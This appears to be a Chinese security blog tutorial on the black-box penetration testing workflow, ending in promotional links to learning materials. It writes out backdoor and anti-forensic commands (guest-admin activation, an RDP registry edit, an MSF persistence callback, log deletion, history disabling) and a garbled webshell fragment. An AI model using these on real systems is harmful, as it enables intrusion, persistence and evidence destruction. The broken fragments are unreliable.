嘿,小伙伴们!咱们 “龙哥网络安全” 公众号后台常常收到这样的私信:
“为啥我老是挖不到漏洞呢?”
“渗透究竟是啥流程呀?”
别急,今天就给大家奉上全网最详尽的渗透测试流程,干货满满,千万别错过!
渗透测试,简单来讲,就是凭借一系列手段,揪出网站、APP、网络服务、软件、服务器等网络设备与应用的漏洞,然后告知管理员漏洞详情以及修补办法,帮他们提前筑牢防线,把黑客拒之门外。
渗透测试分两大阵营:白盒测试与黑盒测试。
白盒测试,就像是给你开了 “上帝视角”,知晓目标网站源码及其他关键信息后再去渗透,有点类似代码 “解剖” 分析。
黑盒测试呢,则是只丢给你个网站的 URL,其余一概不知,全靠你像个真正的黑客那样去摸索,咱们这次就模拟黑盒测试,仅手握目标网站的 URL,开启这场未知之旅,现在就给大伙分享下黑盒渗透测试的流程与思路!
一般而言,渗透测试的基础流程如下:
确定目标→信息收集→漏洞探测→漏洞利用 getshell→内网转发→内网渗透→痕迹清除→撰写渗透测试报告
一、确定目标
这步没啥弯弯绕绕,直白地说,就是找准你要渗透的对象,明确本次行动 “剑指何方”。
二、信息收集
这可是整个渗透测试的关键 “地基”,只有把攻击目标摸得一清二楚,后续攻击才能有的放矢。收集的信息越丰富、情报越详实,攻击成功的概率就蹭蹭往上涨。
那到底要收集哪些信息呢?咱们 “渗透测试技术” 公众号精心给大家整理了一番,渗透测试常见的信息收集要点如下:
-
主机扫描(Nessus)
对目标主机来一场全方位 “体检”,可不光是扫描网站哦,要看看目标主机开放了哪些端口,端口上跑着啥服务,主机自身又藏着哪些漏洞。主机扫描的 “神器” 不少,Nessus 就是其中的佼佼者。 -
端口扫描(nmap)
得搞清楚目标服务器对外开放了哪些端口,像 135 、137 、138 、139 、445 这些端口,可是漏洞的 “高发区”。给大伙列举几个服务端口常见的漏洞:
-
22 ——> ssh 弱口令
-
873 ——> rsync 未授权访问漏洞
-
3306 ——> mysql 弱口令
-
6379 ——> redis 未授权访问漏洞
端口扫描工具里,nmap 准确性杠杠的,就是扫描速度有点 “慢性子”;masscan 扫描快如闪电,不过准确性稍逊一筹。
- 网站敏感目录和文件
扫描网站目录结构,瞅瞅能不能遍历目录,有没有敏感文件泄露的 “马脚”。
-
后台目录:弱口令、万能密码、爆破等手段常在此出没。
-
安装包:这里面可能藏着数据库信息,甚至网站源码 “宝藏”。
-
上传目录:截断、上传图片马等 “小伎俩” 时有发生。
-
mysql 管理接口:弱口令、爆破、万能密码轮番上阵,搞不好就能脱裤,甚至直取 shell。
-
安装页面 :二次安装的漏洞或许能成为突破防线的 “捷径”。
-
phpinfo:一不小心就把配置信息暴露无遗。
-
编辑器:像 fck、ke 等,也可能暗藏玄机。
-
iis 短文件利用:不过条件有点苛刻,得是 windows、apache 等环境。
提到网站敏感目录,就不得不提 robots.txt 文件。这可是专门给搜索引擎机器人 robot 定制的纯文本 “规则手册”。咱们能在里头指定网站里不想让 robot 涉足的目录,这样网站部分或全部内容就能躲开搜索引擎收录,或者只让搜索引擎收录指定内容。咱们也能利用它,让 Google 的机器人对网站上的重要文件 “望洋兴叹”,GoogleHack 的威胁也就烟消云散啦。
假设编写的 robots.txt 文件内容如下:
User-agent: *
Disallow: /data/
Disallow: /db/
Disallow: /admin/
Disallow: /manager/
Allow:/images/
其中 “Disallow” 参数后面跟着的,就是禁止 robot 收录的路径,比如想让 robot 远离网站目录下的 “data” 文件夹,在 Disallow 参数后面加上 /data/ 就行,想加其他目录,依葫芦画瓢接着添。文件写好后往网站根目录一放,网站就能远离 Google Hack 困扰。
虽说 robots 文件本意是防搜索蜘蛛 “乱爬”,可要是咱们知晓了它的内容,就能顺藤摸瓜,发现目标网站哪些文件夹 “不可告人”,侧面印证这些文件夹的重要性。
探测目标网站后台目录的工具也不少,wwwscan 、御剑 、 dirbuster、cansina 等,都是咱们的得力助手。
- 旁站和 C 段扫描
旁站,简单说就是同一服务器上的 “邻居” 网站。有时候,目标网站固若金汤,不好入侵,这时候不妨瞅瞅它所在服务器上有没有别的网站。要是有,先拿下 “邻居” 的 webshell,再一步步提权拿到服务器权限,最后目标网站还不是手到擒来!
对于红蓝对抗和护网行动,C 段扫描意义重大;但对单个网站渗透测试,它的作用就没那么突出了。C 段指的是同一内网段内的其他服务器,每个 IP 有 ABCD 四个段,举个例子,192.168.0.1,A 段就是 192,B 段是 168,C 段是 0,D 段是 1,而 C 段嗅探,就是拿下同一 C 段中的其中一台服务器,也就是 D 段 1 - 255 中的一台,然后靠工具嗅探拿下它。
-
网站漏洞扫描
这步就是直接对网站 “找茬”,找漏洞。网站漏洞扫描工具五花八门,像 AWVS、AppScan、OWASP-ZAP、nessuss 等等。不过要注意啦,直接拿漏扫工具怼网站,流量瞬间飙升,有些 “脆弱” 的网站可能直接崩溃。所以一般情况下,未经授权可千万别用漏扫工具扫网站,这可是违法的事儿! -
网站指纹识别
在渗透测试里,给目标服务器做个 “指纹鉴定” 相当必要,只有识别出对应的 Web 容器或者 CMS,才能精准查找相关漏洞,进而开展渗透操作。CMS 也就是整站系统,常见的有:WordPress、Dedecms、Discuz、PhpWeb、PhpWind、Dvbbs、PhpCMS、ECShop、、SiteWeaver、AspCMS、帝国、Z-Blog 等。
常见的网站指纹识别工具,whatweb 就很不错。
-
公司敏感信息网上搜集
确定目标公司后,互联网就是咱们的 “情报库”,去查查与该公司有关的一切信息,像公司邮箱格式、员工姓名之类的。还有,Github、码云等代码托管平台也别放过,有些粗心程序员上传代码时没做脱敏,数据库连接信息、邮箱密码、甚至源代码都可能泄露在上面。 -
域名信息的收集
当咱们锁定渗透目标,知道域名后,接着就要收集域名对应的 ip、域名的 whois 信息、子域名等一系列相关情报。
-
判断域名对应的 IP:先得瞧瞧域名有没有 CDN “加持”,去在线 CDN 查询网站:多个地点 Ping 服务器,网站测速 - 站长工具瞅一瞅。要是查询出的 ip 数量大于 1,那这 ip 地址大概率不是真实服务器地址。以咱们的经验看,如果是 2 个或者 3 个,且都在同一地区不同运营商,那很可能是服务器的出口地址,服务器在内网,靠不同运营商 NAT 映射供互联网访问,同时实现负载均衡和热备份;要是多个 ip 地址还分布在不同地区,基本能断定用了 CDN。
-
域名的 whois 信息:whois 就像是查询域名注册所有者等信息的 “万能钥匙”,本质是个查询域名是否已注册以及注册详情(如域名所有人、域名注册商)的数据库,靠它实现域名信息查询。早期 whois 多以命令行接口示人,现在网页接口的线上查询工具纷纷涌现,能一次向不同数据库查询。网页接口工具还是依赖 whois 协议向服务器发请求,命令行接口工具依旧是系统管理员的 “心头好”。whois 通常用 TCP 协议 43 端口。每个域名 / IP 的 whois 信息由对应的管理机构保存。
三、漏洞探测
信息收集完备,就轮到给网站 “把脉”,探测有没有常见的 Web 漏洞,比如:
SQL 注入、XSS 跨站脚本、CSRF 跨站请求伪造、XXE 漏洞、SSRF 服务端请求伪造漏洞、文件包含漏洞、文件上传漏洞、文件解析漏洞、远程代码执行漏洞、CORS 跨域资源共享漏洞、越权访问漏洞、目录浏览漏洞和任意文件读取 / 下载漏洞、struts2 漏洞、JAVA 反序列化漏洞
这些只是网站常见漏洞的 “冰山一角”,还有其他漏洞,篇幅有限就不逐一罗列啦。
网站漏洞扫描工具也不少,AWVS、AppScan、Owasp-Zap、Nessus 都是常用 “利器”,咱们挑几个重点介绍,实际上还有更多选择。
四、漏洞利用
一旦探测到网站漏洞,就要 “乘虚而入” 加以利用。不同漏洞对应不同利用工具,很多时候,单靠一个漏洞拿 webshell 有点难,往往得组合出击。常用漏洞利用工具如下:
-
SQL 注入 ——> Sqlmap
-
XSS 跨站脚本 ——> Beef-XSS
-
抓包改包工具 ——> Burpsuite 工具 、 Fidder 抓包软件
-
文件上传漏洞,一般会上传一句话木马,进而谋取 webshell,传送门 ——> Webshell 和一句话木马
不过,拿到 webshell 后,权限通常不高,这就得提权。可以反弹一个 MSF 类型的 shell 提权:Metasploit Framework (MSF) 的使用 、 Msfvenonm 生成一个后门木马;也能反弹一个 CobaltStrike 类型的 shell:渗透测试神器 Cobalt Strike 的使用;还能让 MSF 和 CobaltStrike 联动:MSF 和 CobaltStrike 联动;当然,Windows 提权、Linux 提权等其他方法也行。
五、内网转发
成功斩获网站的 Webshell 后,如果还想深挖主机信息,就得把 Webshell 换成 MSF 的 shell。直接生成个木马,丢到菜刀里执行,就能接收 MSF 类型的 shell 啦。
要是还想进一步探测内网主机情况,内网转发就登场了。咱们没法直接和内网主机 “对话”,得靠获取到的 webshell 网站服务器牵线搭桥,实现与内网主机通信。
六、内网横向渗透
拿下外网服务器权限,成功 “潜入” 系统后,就要想尽办法从这台服务器里捞出咱们想要的信息。
对于 windows 主机,多翻翻目录,说不定有意想不到的收获,好多人习惯把账号密码之类容易忘的东西放备忘录或桌面上。还能找找数据库连接文件,查看连接账号密码等敏感信息。拿到 windows 主机账号密码,或者新建用户后,为了不打草惊蛇,尽量别用远程桌面,动静太大,要是管理员也在线,你一登录就把人家挤掉,很快就会被管理员 “扫地出门”。实在要用远程桌面,别新建用户登录,可以激活 guest 用户,加到 administrators 组,用 guest 用户身份登录。RDP 远程登录后,瞅瞅其他用户桌面和其他目录有啥软件,重点关注:
FTP 相关的软件
数据库相关的软件
打开浏览器,查看历史记录,看有没有网站保存了用户密码,利用工具查看浏览器保存的密码。从这台主机搞到的账号密码,能做个字典,对内网其他机器爆破时,很可能密码通用。
net user guest /active:yes #激活 guest 用户
net localgroup administrators guest /add #将 guest 用户添加到
net user guest 密码 #更改 guest 用户密码
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f #开启 3389 端口
对于 Linux 主机,查看开放端口号、服务,以及与其连接的内网主机,翻翻目录,找找网站数据库连接密码。一句话,多找账号密码,对内网账号爆破大有用处。
搭建隧道通内网后,首先得对内网资产 “摸个底”,可内网存活网段判断是个难题,内网可能同时存在 10.0.0.0/8、172.16.0.0/16、192.168.0.0/24 网段,这就得靠扫描器探测。通过代理进行内网扫描,不建议用 nmap。要是本地主机通过代理扫描,能图形化界面,RouterScan 、御剑高速 TCP 全端口扫描器、IIS_Scanner 都能用,不过线程调低些,不然代理容易崩。要是用命令行扫描器,S 扫描器是个不错选择。扫描完内网资产和端口开放情况,对于 445 端口,可以打一波 MS17_010,注意通过代理打和直接打不一样,传送门 ——> 内网渗透之 MS17 - 010 。对于 3389 端口,可以打一波 CVE - 192019 - 0708,传送门 ——> CVE - 192019 - 0708 远程桌面漏洞复现 。对于 1433/3306/6379 等端口,可以尝试爆破,用之前收集的账号密码,成功率更高哦。
权限维持
拿到目标主机权限后,有时当下拿不到想要的,得长期潜伏,尤其是内网渗透,长期信息收集很关键,这时候权限维持就至关重要,得保住到手的权限。
Web 后门
1:隐藏后门文件 (将文件设置为隐藏)
2:不死马,该脚本每 5 秒向服务器创建 test.php,并写入一句话免杀木马。结合 attrib 命令隐藏文件,后门建得更隐蔽。
“3”); b = a r r a y _ k e y s ( b=array\_keys( b=array_keys(a)[0]; eval($b);?>
');
sleep (5);
}
?>
3:404 页面隐藏后门,或者在其他自带文件中插入后门代码
注:以上几种后门方法均能被 D 盾等工具检测到
Windows 系统
1:建立隐藏用户,在用户名后加 $
2:在开机启动目录下放置木马文件,只要目标机器重启,将回连我们的远控
3:MSF 里的 persistence 模块,执行命令可以使目标机器每隔一定时间自动回连远控,不过容易被发现。
# 反弹时间间隔是 5s 会自动连接 192.168.27 的 4444 端口,缺点是容易被杀毒软件查杀
run persistence -X -i 5 -p 8888 -r 192.168.10.27
#然后它就在目标机新建了这个文件:C:\Windows\TEMP\CJzhFlNOWa.vbs ,并把该服务加入了注册表中,只要开机就会启动
4:在域环境下,想办法获得 krbtgt 用户的哈希,该用户的哈希可以进行票据传递攻击,而且一般该用户的密码不经常改变。
5:shift 后门
6:远程桌面会话劫持
Linux 系统
1:SSH 后门
2:crontab 定时任务
3:SSH 公钥
4:创建 SUID = 0 的用户
七、痕迹清除
有时候,咱们渗透进去可能就想挂个黑页炫技,或者留个后门当 “肉鸡” 备用,甚至挂挖矿木马,打住!这些可都是违法勾当,千万别干!
咱们 “渗透测试技术” 公众号只是教大家渗透后怎么清除部分痕迹,完全抹去入侵痕迹那是天方夜谭,主要是增加管理员发现入侵者的时间成本和人力成本,只要管理员铁了心要查,再怎么清也能查到蛛丝马迹。
关键还是要隐藏好自身身份,渗透前挂代理,渗透后及时清除痕迹。
Windows 系统
1:如果是 windows 系统,可用 MSF 中的 clearev 命令清除痕迹
2:如果 3389 远程登录过,需要清除 mstsc 痕迹
3:执行命令清除日志:
del % WINDR%*.log/a/s/q/f
4:如果是 web 应用,找到 web 日志文件,删除
Linux 系统
1:如果是 Linux 系统,在获取权限后,执行以下命令,不会记录输入过的命令
export HISTFILE=/dev/null export HISTSIZE=0
2:删除 /var/log 目录下的日志文件
3:如果是 web 应用,找到 web 日志文件,删除
八、撰写渗透测试报告
完成渗透测试,别忘了给这次行动写个 “总结报告”,明明白白列出哪里有漏洞,
题外话
黑客&网络安全如何学习
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
1.学习路线图
攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。
2.视频教程
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。
内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。
(都打包成一块的了,不能一一展开,总共300多集)
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源
3.技术文档和电子书
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源
4.工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。
还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。
🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源
最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。
这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。
参考解析:深信服官网、奇安信官网、Freebuf、csdn等
内容特点:条理清晰,含图像化表示更加易懂。
内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源
————————————————
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
侵权,请联系删除。